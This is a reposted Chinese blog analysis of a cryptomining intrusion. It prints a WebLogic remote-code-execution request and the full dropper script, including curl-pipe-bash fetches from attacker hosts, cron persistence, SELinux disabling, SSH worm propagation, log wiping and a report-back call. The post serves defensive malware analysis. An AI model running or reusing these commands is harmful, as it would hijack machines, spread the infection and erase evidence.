本文转载自不正经程序员

温馨提示:本文中出现的命令和脚本,不要在自家服务器上随便运行,除非你知道自己在做什么。

挖矿是把机器当作奴隶,一刻不停歇的去计算、运转,本质上是个无用的工作。但可惜的是,它能赚钱。用别人的机器去赚钱,更是很多人梦寐以求的,所以挖矿脚本屡禁不止。

有钱的地方,就有技术。但反过来并不一定成立。

牢记这个准则,就能够心平气和的学习新技术,而不是气急败坏的纠结为啥没钱。

1. 脚本从哪来?

下面是一个http的报文。

GET /console/images/%2E%2E%2Fconsole.portal?_nfpb=true&_pageLabel=HomePage1&handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.lang.Runtime.getRuntime().exec(new String[]{'/bin/sh','-c','export src=logic;curl -fsSL t.bb3u9.com/ln/core.png?logic|bash'});"); HTTP/1.1Host: 20*.10*.8*.1*9:7001 #已脱敏User-Agent: curl/7.55.1Accept: */*Content-Type:application/x-www-form-urlencoded; charset=utf-8

很简单,waf防火墙拦截到相关包,一眼看上去就不正常。从关键字com.tangosol.coherence.mvel2.sh.ShellSession可以得知,这个请求,是想要利用Weblogic的远程代码执行漏洞。

这样的漏洞有很多很多,数不胜数,比如它可以通过redis进入。我们不必关注这些漏洞,默认它已经利用成功了。我们只看挖矿脚本是怎么部署到你的机器上的。

在java中,当然要调用它的Runtime类库,如果你的应用程序是运行在root用户的,那它什么事情都能干。

这就是为什么要求你线上部署的应用,都用权限低一点的账户,比如xjjdog去运行,而不是不要命的把root账户给开放。

exec函数带了三个参数。

  • /bin/sh 意味着它要执行一个shell脚本

  • -c 指明了要执行的命令

  • export src=logic;curl -fsSL t.bb3u9.com/ln/core.png?logic|bash 首先输出了一个全局环境变量,然后下载一个png文件

狡猾的人都喜欢带面具,而狡猾的脚本都喜欢改后缀。看起来是个png,但它是个脚本。

2. 脚本怎么安装的?

接下来摘下它的伪装,看一下它的真面目。

curl http://t.bb3u9.com/ln/core.png\?logic > core.png

查看core.png文件中的内容。不错,很长一段脚本。

#/bin/bash
setenforce 0 2>/dev/null
echo SELINUX=disabled > /etc/sysconfig/selinux 2>/dev/null
sync && echo 3 >/proc/sys/vm/drop_caches
murl1="http://t.bb3u9.com/ln/a.asp"
murl2="http://t.jdjdcjq.top/ln/a.asp"
cdate=$(date "+%Y%m%d")
guid=`echo $(sudo dmidecode -t 4 | grep ID | sed 's/.*ID://;s/ //g') $(ifconfig | grep -oP 'HWaddr \K.*'|sed 's/://g')|sha256sum|awk '{print $1}'`
cmd1="export gurl=$murl1?${src}_${cdate};(curl -fsSL \$gurl*`whoami`*\`hostname\`*${guid}||wget -q -O- \$gurl*`whoami`*\`hostname\`*${guid})|bash"
cmd2="export gurl=$murl2?${src}_${cdate};(curl -fsSL \$gurl*`whoami`*\`hostname\`*${guid}||wget -q -O- \$gurl*`whoami`*\`hostname\`*${guid})|bash"
echo "">/var/spool/cron/root
echo "">/var/spool/cron/crontabs/root
if [ "`whoami`" ==  "root" ];thencronpath=/etc/crontabXpath=/.Xl1
elsecronpath=/var/spool/cron/`whoami`Xpath=~/.Xl1
fi
if [ ! -d "$Xpath" ];thenmkdir $Xpathecho "$[$RANDOM%60] * * * * root $cmd1" >> $cronpathecho "$[$RANDOM%60] * * * * root $cmd2" >> $cronpathuname -a|grep x86_64 && echo "$[$RANDOM%60] * * * * root ps aux|grep p.b69kq.com |grep -v grep || $Xpath -o p.b69kq.com:444 --opencl --donate-level=1 --nicehash -B --http-host=0.0.0.0 --http-port=65529 --opencl --cuda" >> /etc/crontabexport gurl=$murl1?${src}_${cdate};(curl -fsSL $gurl*`whoami`*`hostname`*${guid}||wget -q -O- $gurl*`whoami`*`hostname`*${guid})|bashexport gurl=$murl2?${src}_${cdate};(curl -fsSL $gurl*`whoami`*`hostname`*${guid}||wget -q -O- $gurl*`whoami`*`hostname`*${guid})|bash
fiecho > /var/spool/mail/root
echo > /var/log/wtmp
echo > /var/log/secure

按照常规,我们来一行行拆解它。

1)关掉selinux。setenforce 0是关闭的意思,2表示stderr,出错了不提示。接下来会通过写配置文件的方式,永久性的禁止selinux。

setenforce 0 2>/dev/null
echo SELINUX=disabled > /etc/sysconfig/selinux 2>/dev/null

2)很良心的帮助清理一下系统内存

sync && echo 3 >/proc/sys/vm/drop_caches

3)构造guid,对机器进行标识

guid=`echo $(sudo dmidecode -t 4 | grep ID | sed 's/.*ID://;s/ //g') $(ifconfig | grep -oP 'HWaddr \K.*'|sed 's/://g')|sha256sum|awk '{print $1}'`

dmidecode命令,可以获取linux硬件相关的信息,会输出非常多的内容。-t 4表示只获取Process方面的内容。然后过滤一下ID信息,使用sed命令截取并去掉空格。

ID: 57 06 05 00 FF FB 8B 0F

会变成。

57060500FFFB8B0F

然后使用ifcongig命令获取网卡硬件MAC信息。做同样的处理后获得另外一个串。这段脚本写的稍微有点问题,因为ifconfig的输出经常会改格式,但不影响计算hash。

sha256sum就是算出这样一个hash,然后赋值给guid。比如下面这个。

786e5dcff31795d7b6b24cdf4f114867f423315de9bd4a879b57478ad99e2c5c

4)安装定时任务到crontab中

脚本选择了/.Xl1目录作为真正的挖矿程序的存储目录。注意这三个字母,后面是l和1,并不是X桌面的配置目录。在真正的脚本部分,我们可以看到下载的程序包地址是d.u78wjdu.com/ln/xr.zip

5)我们再来看一下下载的链接是什么样子的

cmd1="export gurl=$murl1?${src}_${cdate};(curl -fsSL \$gurl*`whoami`*\`hostname\`*${guid}||wget -q -O- \$gurl*`whoami`*\`hostname\`*${guid})|bash"
cmd2="export gurl=$murl2?${src}_${cdate};(curl -fsSL \$gurl*`whoami`*\`hostname\`*${guid}||wget -q -O- \$gurl*`whoami`*\`hostname\`*${guid})|bash"

其中,src变量是在一开始就设置的,我们依次来还原一下。

export src=logic
cdate=$(date "+%Y%m%d")
guid=`echo $(sudo dmidecode -t 4 | grep ID | sed 's/.*ID://;s/ //g') $(ifconfig | grep -oP 'HWaddr \K.*'|sed 's/://g')|sha256sum|awk '{print $1}'`
gurl=$murl1?${src}_${cdate}

最终会拼成下面的字符串,可以说该有的信息都有了,能够区分出到底是哪一台机器了。

url?_20210722*root*host_iZ2ze5w0d1f4lplj3yuflcZ*786e5dcff31795d7b6b24cdf4f114867f423315de9bd4a879b57478ad99e2c5c

3. 真正的脚本是什么?

$RANDOM环境变量,是个神奇的环境变量。直接输出的话,将会得到一个随机值。cron脚本周期性的拉取最新的脚本执行,把真正的挖矿程序部署起来。

关于真实脚本的介绍,xjjdog在另外一篇文章中有详细的介绍。在这个场景下,最新的脚本就是http://t.bb3u9.com/ln/a.asp,依然是改后缀的障眼法。

这个脚本显然比上面这篇文章介绍的要更加高级一些。脚本很长很长,就不贴了,你可以自己下载。它的主要意图,是下载一个叫做xr的程序,然后在马甲目录.Xl1中运行。xr程序才是挖矿的主要程序,其他的脚本,都是辅助它来运行的。下面是最主要的运行逻辑。

if [ ! -d "$Xpath" ];thenmkdir $Xpath
fi
cd $Xpath
if [ ! -f "./xr" ];thenuname -a|grep x86_64 && (curl -fsSL d.u78wjdu.com/ln/xr.zip||wget -q -O- d.u78wjdu.com/ln/xr.zip)>xr.zip && tar xf xr.zip && rm xr.zip
fi
uname -a|grep x86_64 && ps aux|grep p.b69kq.com |grep -v grep || ./xr -o p.b69kq.com:444 --opencl --donate-level=1 --nicehash -B --http-host=0.0.0.0 --http-port=65529 --opencl --cuda

要保证脚本的安全,怎么能少得了chattr命令。很多人遇见加了i参数的文件,不能被删除,就傻眼了。其实是可以通过-i参数去掉这个属性的。

chattr -iua /tmp/
chattr -iua /var/tmp/
chattr -R -i /var/spool/cron
chattr -i /etc/crontab

脚本还会通过nc命令,拷贝rsa公钥到你的每个用户目录下面,把你做成事实上的肉鸡,实现免密登录。关于nc这把瑞士军刀,我们也有过介绍。

for file in /home/*
doif test -d $file; thenif [ -f $file/.ssh/known_hosts ] && [ -f $file/.ssh/id_rsa.pub ]; thenfor h in $(grep -oE "\b([0-9]{1,3}\.){3}[0-9]{1,3}\b" $file/.ssh/known_hosts); do echo exit |nc -w 1 -n -v $h 65529 && ssh -oBatchMode=yes -oConnectTimeout=5 -oStrictHostKeyChecking=no $h 'export src=sshcopy;(curl -fsSL http://t.bb3u9.com/ln/core.png?sshcopy*`whoami`*`hostname`||wget -q -O- http://t.bb3u9.com/ln/core.png?sshcopy*`whoami`*`hostname`)|bash >/dev/null 2>&1 &' & donefifi
done

这份脚本,还会病毒式的传播。localgo函数,通过从你的ps进程,history文件,还有hosts配置,拿到用户列表、主机列表端口、rsa密钥等,就可以批量的去尝试登录并传播这份脚本。当然,上面的xr程序会监听65529的端口,如果判断主机已经中招了,就不再继续探测。

能用65529这个端口,本身就够骚气的了,有几台机器能够达到上限65535呢?

localgo() {i=0for user in $userlist; dofor host in $hostlist; dofor key in $keylist; dofor sshp in $sshports; doi=$((i+1))if [ "${i}" -eq "20" ]; thensleep 20ps wx | grep "ssh -o" | awk '{print $1}' | xargs kill -9 &>/dev/null &i=0fi#Wait 20 seconds after every 20 attempts and clean up hanging processeschmod +r $keychmod 400 $keyecho "$user@$host $key $sshp"echo exit |nc -w 1 -n -v $host 65529 &&  ssh -oStrictHostKeyChecking=no -oBatchMode=yes -oConnectTimeout=5 -i $key $user@$host -p$sshp "export src=sshcopy;(curl -fsSL http://t.bb3u9.com/ln/core.png?sshcopy*`whoami`*`hostname`||wget -q -O- http://t.bb3u9.com/ln/core.png?sshcopy*`whoami`*`hostname`)|bash >/dev/null 2>&1 &"donedonedonedone
}

最后,脚本还不忘汇报一下,形成完美的闭环。

reurl=http://t.bb3u9.com/ln/report.asp?*`whoami`*`hostname`*${guid}*${isdocker}*${pyver}*${isxrfile}*${hashrate}*${mip}
(curl -fsSL $reurl||wget -q -O- $reurl)|bash

4. End

如果你发现你的机器不明原因发热,务必排查一下有没有挖矿程序。虽然你的服务器摆在那里也没什么用,但用着你的电费,收益却给别人,相信你一定会嫉妒的要命。那么别犹豫,kill -9送给它,别忘了清理cron。

重装是我们的秘密武器,仅次于重启。嫌麻烦的话,就这么干吧!

凶残的挖矿脚本,奴役我数千机器!相关推荐

  1. 一块V100运行上千个智能体、数千个环境,这个「曲率引擎」框架实现RL百倍提速...

    视学算法报道 编辑:张倩 在强化学习研究中,一个实验就要跑数天或数周,有没有更快的方法?近日,来自 SalesForce 的研究者提出了一种名为 WarpDrive(曲率引擎)的开源框架,它可以在一个 ...

  2. 一块V100运行上千个智能体、数千个环境,这个曲率引擎框架实现RL百倍提速

    ©作者 | 张倩 来源 | 机器之心 在强化学习研究中,一个实验就要跑数天或数周,有没有更快的方法?近日,来自 SalesForce 的研究者提出了一种名为 WarpDrive(曲率引擎)的开源框架, ...

  3. 免费 | 数千个 Azure 官方高清矢量图标大放送!

    点击上方关注"汪宇杰博客" ^_^ 导语 我们平时绘制云应用架构图时,经常要用 Azure 各项服务的图标.不知各位会自己去截图,还是在浏览器 F12 里使劲抠图?是不是做PPT ...

  4. 人工智能要闻: 沃尔玛用机器人取代数千岗位, 腾讯开AI加速器, 猎户星空获微软人脸识别有限制类第一名

    ▌文 / 预见 ▌遇见人工智能 首席编辑 ▌总第2017014期 今日AI头条 科技部:中国发布人工智能规划并不是为挑战哪国 今天上午,国务院新闻办举行国务院政策例行吹风会. 科技部副部长李萌表示,中 ...

  5. 实力解剖一枚挖矿脚本,风骚操作亮瞎双眼

    原创:小姐姐味道(微信公众号ID:xjjdog),欢迎分享,转载请保留出处. 公司有几台机器,最近cpu一直在疯转,就像是吃了春药,一直在发热.由于机器实在是太多,有这么几台安全性防护没有到位,就一直 ...

  6. RSD高分卫星数据处理能力提升——日正射处理数千景高分数据集

    李国春 通常认为,能够单日处理几百景高分辨率对地观测卫星数据的系统就已经是非常优秀的卫星数据处理系统了.RSD此次优化将其处理能力提升超过了一个数量级,达到了单日正射处理数千景高分辨率卫星数据集的水平 ...

  7. Intel或将裁员数千人 谋求业务转型

    4月16日消息,据国外媒体报道,内部消息人士透露,芯片制造商Intel将于今年裁员数千人. 据公司内部消息人士透露,Intel将于今年开始新一轮裁员计划,涉及公司内部多个业务部门.据称,某些业务部门的 ...

  8. 工业革命前数千年人口经济_我们已经进行了数千年的编程

    工业革命前数千年人口经济 by Tautvilas Mečinskas 由TautvilasMečinskas 我们已经进行了数千年的编程 (We have been programming for ...

  9. 谷歌自动重建了完整果蝇大脑神经图:40万亿像素,可在线交互,用了数千块TPU...

    乾明 发自 凹非寺  量子位 报道 | 公众号 QbitAI 研究大脑神经网络,又有新进展. 谷歌AI发布博客文章宣布最新研究成果: 用Flood-Filling网络和Local Realignmen ...

最新文章

  1. VTK:图片之DrawOnAnImage
  2. 深度学习tensorflow框架的张量
  3. Android开发之git命令创建tag提交远程仓库的方法(图文教程)
  4. Active Directory系列之十七:实战详解域信任关系
  5. [Ubuntu] 添加/删除 ppa 仓库
  6. 使用python Gstreamer编写mp4视频播放器
  7. Java生态技术体系科普
  8. 缓存框架 EhCache 使用 3
  9. 聂微东:《暗时间》读书笔记与读后感 - 博客 - 伯乐在线
  10. 关于2014年相关人脸检测识别的几个论文摘要翻译
  11. MA5671 上海联通配置指南
  12. 你真的知道如何使用Target.Count吗?
  13. docker拉取镜像时,报错:no matching manifest
  14. auto.js 快手自动评论脚本 引流操作
  15. java hasfocus_说说Flutter中的无名英雄 —— Focus
  16. Solver 配置详解
  17. 在浏览器拉起应用的方式
  18. 一个Roguelike类型H5游戏的服务器开发——成就系统
  19. 河南科技大学计算机专业就业情况,河南科技大学好就业吗?附河南科技大学就业率最高的专业名单...
  20. ORACLE子查询的多种用法

热门文章

  1. 学会map、reduce、filter这三个函数,让你Python代码看起来更有逼格!
  2. Python:data:image/png;base64图片编码解码
  3. 短距离无线通讯-RFID
  4. hdu 1686 Oulipo(kmp)
  5. linux的内存占用分析,Linux 内存占用分析
  6. php artisan command,artisan command 小技巧
  7. 2019年211大学计算机排名,2019年全国最新211大学排名 录取分数线是多少
  8. CentOS8国内镜像下载地址
  9. 绿宝石rom下载_口袋妖怪绿宝石下载
  10. python1000以内水仙花数_python 计算1000以内的水仙花数